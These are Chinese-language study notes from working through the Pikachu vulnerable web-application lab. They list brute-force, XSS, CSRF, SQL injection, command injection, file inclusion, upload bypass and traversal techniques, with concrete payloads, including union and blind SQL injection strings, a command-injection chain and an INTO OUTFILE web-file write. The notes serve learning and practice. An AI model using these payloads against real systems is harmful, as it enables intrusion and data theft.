暴力破解
基于表单的暴力破解:
抓一个登陆的数据包,再使用intruder模块,将账号和密码设为变量,选择cluster bomb模式,对两个payload set进行设置字典,然后点开始攻
目标账号密码:admin/123456
通过数据包长度筛选查看
验证码绕过(服务器端):
无刷新,则用一个数据包,再放入intruder中对变量进行修改,
已知账号密码爆破验证码即可
将数据包放入intruder中,对输入验证码处添加变量,
payload类型为brute forcer,修改字符串集为全英文,最小最大改为6,然后让数据包跑
验证码绕过(客户端):
f12删除前端代码即可
token防爆破:
将数据包放入intruder后,选择pitchfork攻击类型,
XSS
反射型:
get:用处不大,F12删除长度限制
post:登录后,通过submit提交
存储型:
打开该页面都会产生如果写入一个自动跳转xss
window.location.href="http://www.baidu.com";
强制页面跳转,谨慎使用
DOM:
第一个:简单输入,F12查看发现,在href处有变化,即可以写一个跳转页面输入http://www.baidu.com
第二个:同上操作,点多几下
xss盲打:
连接不上数据库,思路大概是管理员打开后台后会自动执行的xss
xss过滤:
方法如下:
绕过html实例化:一些符号被编码后(转义),导致js语句失效
拼接在元素中的属性,例如执行动作类没
过滤关键字,替换等价函数
大小写绕过
单次过滤与多次过滤(替身绕过)
编码绕过
伪造页面来源(referer)
检测是否从合法域名进入该页面,例如同一域名或开放了该接口给其他的合法域名等。如果不是则过滤,也称同源策略
htmlspecialchars绕过:
'οnclick='alert(/xss/)'
href输出:
夹js代码执行,输入javascript:alert(1)
js输出
直接闭合, ‘
总结:如果输入内容会在html的元素中输出,则考虑可以进行闭合然后新增恶意代码
CSRF
CSRF(GET):
伪造恶意url想办法让对方点击即可,例如结合xss使管理员用户修改信息
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
CSRF(POST):
由于是post方法,所以要利用自己搭建的恶意站点,例如通过xss漏洞为其跳转至恶意站点诱导其点击提交post方法,如果存在token可能无效;(token能在不同站点获取吗?)
CSRF(token):
由于本关存在token回显,所以可以通过恶意站点,将token的值获取,并伪造发送修改信息的数据包
SQLI
数字型注入post:
抓包获取 方法:
1 and 1 = 1# 正常
1 and 1 =2 # 不正常存在注入点
获取当前数据库名 -1 union select 1,database()#
获取当前数据库所有表 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取用户表中的所有列属性-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
获取用户数据-1 union select group_concat(username),group_concat(password) from users
字符型注入get:
操作同上类似,只是方法用get,写在url上
新方法:模糊查询(or)需要后端存在遍历操作才能全部显示在前端 %' or 1 = 1 #
搜索型注入:
可知是模糊查询, 猜想格式如?%,所以如果在问号处输出%即可全部查询,语句同上
xx型注入:(即不知道什么型)
此靶场则多了小括号闭合
‘) or 1 = 1# or 1 =1则意为全部匹配
“insert/update”注入:
报错注入:xxx' or updatexml(1,concat(0x7e,database()),0) or '
“delete”注入:
报错:id=66+or+updatexml(1,concat(0x7e,database(),0x7e,user()),1)
“http header”注入:
user-agent处报错注入 1' or updatexml(1,concat(0x7e,database()),0) or '
存在字符型使用报错注入方式,记得先闭合引号后面再接or ‘
“布尔”盲注:
kobe' and ascii(substr(database(),1,1))=112#
语句解析:substr:将db名的第1位往后的1个字符取出,由ascii括起来的字符会输出一个int值,为该ascii位号,在判断是否等于112,如果是则查询存在,并返回查询集;如果不是则查询集不存在。
“时间”盲注:
1' and if(substr(database(),1,1)='p',sleep(5),null)#
kobe’ and if((substr(database(),1,1))=’p’, sleep(5),null)#
RCE
exec“ping”:
没做字符串限制,可以直接连接符& ping 127.0.0.1 & ipconfig
还可以用于探测内网地址,以受害机为跳板
exec“evel”:
输入phpinfo();
文件包含
本地:
抓包修改为file6即可
远程:
使用一个非本地的文件,例如http://xxx.xx/1.txt
文件下载
修改路径../即可下载其他文件,一个不安全的文件下载接口,可以结合cms框架把整个项目下载下来
文件上传
客户端检查:
F12删除特定代码即可
MIME检查:
修改content-type为图片格式即可:image/png
getimagesize:
图片马操作加文件包含漏洞,或者解析配置文件漏洞
mysql写文件
1' union select '',1 into outfile 'c:\\phpstudy_pro\\WWW\\1.php' #
越权
水平越权:
登录账号后点击查看时抓包,修改为其他用户的名称即可
垂直越权:
由于是get方法,所以获知管理员创建用户的url即可伪造创建用户的操作
目录遍历
../dir.php即可访问目录遍历概述中的内容
敏感信息泄露
由于开发过程中,开发人员图方便,可能会将账号密码注释的方式写在前端上
XXE
URL重定向
可以用于伪造恶意的虚假的URL跳转地址,结合XSS伪造恶意地址
SSRF
从URL看可知会传一个地址,如果改成百度一下,你就知道则会出现百度的页面